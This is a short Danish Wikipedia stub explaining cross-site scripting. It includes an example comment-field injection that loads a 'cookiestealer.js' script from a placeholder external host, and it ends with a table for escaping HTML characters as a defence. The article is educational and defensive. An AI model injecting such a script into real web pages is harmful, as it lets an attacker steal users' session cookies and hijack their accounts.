Cross-site scripting

Fra Wikipedia, den frie encyklopædi

Cross-site scripting (XSS) er en form for angreb, der typisk er rettet mod webapplikationer. Et XSS angreb lader brugeren indsætte kode ind i en hjemmeside, som andre brugere ville se. Dette lader dem omdirigere brugeren, sende brugerens input videre mm. Dette er et meget typisk angreb, og hvis ikke brugerens input ikke escapes og renses ordentligt, kan det være meget farligt.

Eksempler[redigér | rediger kildetekst]

Forestil dig en side, med en simpel HTML-formular, med et input felt, fx et kommentarfelt.

Når brugen inputter sin tekst, og sender kommentaren, bliver den sat ind i dokumentet:

<p>Brugerens input</p>

Det ville fungere fint, men hvad nu hvis vi indsatte en ondsindet tekst som fx

Hej! <script src="http://enellerandenside.dk/cookiestealer.js">

Så ville HTML-koden på hjemmesiden se sådan her ud:

<p>Hej! <script src="http://enellerandenside.dk/cookiestealer.js"</p>

Og når nogen ser det her, og det bliver indlæst vil koden fra hjemmesiden blive kørt, og det kunne fx være en cookie stjæler, som tager brugerens autoriserings cookie og sender den til en anden server.

Sikring mod XSS-angreb[redigér | rediger kildetekst]

Disse slags angreb kan dog blive undgået. Man kunne "escape" < og >, så at de ikke bliver set som kode, men blot tekst.

Man kunne have et script der tjekker teksten, og erstatter tegnene som i følgende skema

Tegn Erstatning
< &lt;
> &gt;
& &amp;
" &quot;
' &apos;
ProgrammeringSpire
Denne artikel om datalogi eller et datalogi-relateret emne er en spire som bør udbygges. Du er velkommen til at hjælpe Wikipedia ved at udvide den.